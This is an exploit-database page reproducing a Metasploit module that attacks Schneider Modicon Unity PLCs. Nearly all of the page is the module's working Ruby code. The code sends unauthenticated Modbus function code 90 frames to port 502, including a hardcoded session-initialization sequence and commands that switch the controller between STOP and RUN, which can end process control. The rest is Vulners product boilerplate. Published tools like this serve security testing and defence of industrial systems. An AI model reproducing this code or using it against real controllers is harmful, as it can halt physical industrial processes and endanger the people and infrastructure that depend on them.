Lucene search
K

Schneider Modicon Remote START/STOP Command

🗓️ 31 Aug 2024 00:00:00Reported by Tod Beardsley, K. Reid Wightman, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 133 Views

Schneider Modicon Remote START/STOP Command allows remote users to change the state of the PLC between STOP and RUN, potentially ending the process control by the PLC

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Rex::Socket::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Schneider Modicon Remote START/STOP Command',  
'Description' => %q{  
The Schneider Modicon with Unity series of PLCs use Modbus function  
code 90 (0x5a) to perform administrative commands without authentication.  
This module allows a remote user to change the state of the PLC between  
STOP and RUN, allowing an attacker to end process control by the PLC.  
  
This module is based on the original 'modiconstop.rb' Basecamp module from  
DigitalBond.  
},  
'Author' =>  
[  
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module  
'todb' # Metasploit fixups  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]  
],  
'DisclosureDate' => '2012-04-05'  
))  
register_options(  
[  
OptEnum.new("MODE", [true, 'PLC command', "STOP",  
[  
"STOP",  
"RUN"  
]  
]),  
Opt::RPORT(502)  
])  
  
end  
  
# this is used for building a Modbus frame  
# just prepends the payload with a modbus header  
def makeframe(packetdata)  
if packetdata.size > 255  
print_error("packet too large, sorry")  
print_error("Offending packet: " + packetdata)  
return  
end  
payload = ""  
payload += [@modbuscounter].pack("n")  
payload += "\x00\x00\x00" #dunno what these are  
payload += [packetdata.size].pack("c") # size byte  
payload += packetdata  
end  
  
# a wrapper just to be sure we increment the counter  
def sendframe(payload)  
sock.put(payload)  
@modbuscounter += 1  
r = sock.recv(65535, 0.1) # XXX: All I care is that we wait for a packet to come in, but I'd like to minimize the wait time and also minimize OS buffer use. What to do?  
return r  
end  
  
# This function sends some initialization requests  
# I have no idea what these do, but they seem to be  
# needed to get the Modicon chatty with us.  
# I would make some analogy to 'gaming' in the  
# bar-dating scene, but I'll refrain.  
def init  
payload = "\x00\x5a\x00\x02"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x01\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x03\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x03\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x01\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x0a\x00"  
(0..0xf9).each { |x| payload += [x].pack("c") }  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"  
payload += "USER-714E74F21B" # Yep, really  
#payload += "META-SPLOITMETA"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x12"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x12"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x02"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"  
sendframe(makeframe(payload))  
end  
  
def stop  
payload = "\x00\x5a\x01\x41\xff\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
end  
  
def start  
payload = "\x00\x5a\x01\x40\xff\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
end  
  
def run  
@modbuscounter = 0x0000 # used for modbus frames  
connect  
init  
case datastore['MODE']  
when "STOP"  
stop  
when "RUN"  
start  
else  
print_error("Invalid MODE")  
return  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation